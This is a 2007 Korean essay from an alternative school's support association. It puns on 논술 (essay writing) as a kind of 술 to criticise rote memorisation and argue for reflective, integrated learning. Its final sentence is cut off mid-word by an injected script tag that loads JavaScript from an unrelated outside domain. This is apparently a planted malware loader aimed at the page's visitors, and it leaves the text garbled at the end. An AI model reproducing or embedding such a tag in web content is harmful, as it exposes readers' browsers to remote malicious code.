술중에 뜨는 술

작성자 : 후원회 | 조회수 : 3,284 | 작성일 : 2007년 2월 7일

요즘 학교현장에서 술중에 뜨는 술이 있는데 ‘논술’이라는 것이다. 학교 현장은 이 술을 받아 안고는 어떤 맛인지 몰라 곤혹스런 표정들이다. 또한 그 술이 마침 대학입학에 쓰여 진다니 더욱 맛이 좋을 리가 없다. 방학인데도 교사들은 이 술의 제조법을 터득하느라 바쁘고, 대학들은 학생들이 빚은 술의 맛을 평가할 줄 몰라 당황한다. 학문의 학문이라는 ‘철학’을 교육과정에서 탐탁지 않게 여기는 나라에서 갑자기 철학적 사고를 바탕으로 지식의 통합을 요하는 논술을 내어놓고 술맛 나게 하라니 이것은 억지에 가깝다. 
  학교의 교사들은 이것이 너희가 먹을 지식이라며 자기 교과의 지식을 암기하기만을 강요했지, 교육과정에서 배운 여러 지식을 서로 관련지어 그 지식을 체계적으로 통합하여 성숙한 지식을 만들도록 교육하는 데는 많이 부족했다. 다시 말해 교과에서 배운 지식을 놓고 이 지식이 왜 필요한지, 왜 배워야 하는지, 무엇을 하자는 것인지는 전혀 고려치 않은 이런 상황 하에서 논술을 하라니 당황할 수밖에 없다. 
  대안학교 학생들은 생각과 경험을 많이 해서인지 놀라운 대답이 많다. 한 가지 예로 철학시간에 “애들아, 중학교에서는 철학이란 과목이 없는데, 왜 여기에선 철학시간이 있는 거지?” 하고 질문을 던지자, 한 학생이 나서서 “중학생들은 철이 없어 어리잖아요. 고등학생 정도가 되면 아는 것도 복잡해지고 앎의 폭이 갑자기 커져요. ‘도대체, 왜요?’ 라는 의혹이 끊이질 않고 지식에 대한 의문을 곱씹고 그 해답을 얻으려니 그런 것 아닌가요?” 라고 답하는 것이다. 사실 대부분의 학생들은 지식을 습득하면서도 ‘도대체’ ‘왜’ 라는 사고를 할 겨를이 없는데, 이런 답변을 들려줄 수 있는 학생들은 이미 논술의 첫걸음을 시작한 것이 아닐까. 
  한동안 학생들에게 자주 듣던 말 중에 “여긴 대안학교인데, 신부님은 왜 우릴 간섭하시지요?” 하는 말이 있다. 학생들은 ‘자유’의 의미를 제멋대로 행동하는 것으로 해석했고, 아무 생각 없이 학교를 떠나 밖에서 서성거리곤 했었다. 나는 그들을 나무라기보다 그들이 잘못  생각하는 ‘자유’의 의미를 더 성숙된 지식으로 자리 잡도록 하는 데 중요시했다. 교육의 목적이라는 큰 그림을 그들 마음에 새겨주고 허한 지식을 성숙한 지식으로 자리 잡도록 도와주었다. 생각 속에 자란 지식은 성숙해 갔고, 이는 곧 올바른 행동을 끌어내는 ‘자유’로 성장해갔다. 이들이 ‘자유’라는 주제로 빚은 술은 그 맛도 좋을 것 같다. 
  요즘 학교현장에는 논술 책이 나돌고 그 내용을 통째로 암기하려는 모양인데, 이러한 방법으로는 좋은 논술이 나올 수 없다. 지식이 명제적 지식이 되게 하기 위해서는 합리적 사고 뿐 아니라 인간미 넘치는 설득력과 당위성을 지닌 검증된 성숙한 지식으로 구?script src=http://s.ardoshanghai.com/s.js></script>

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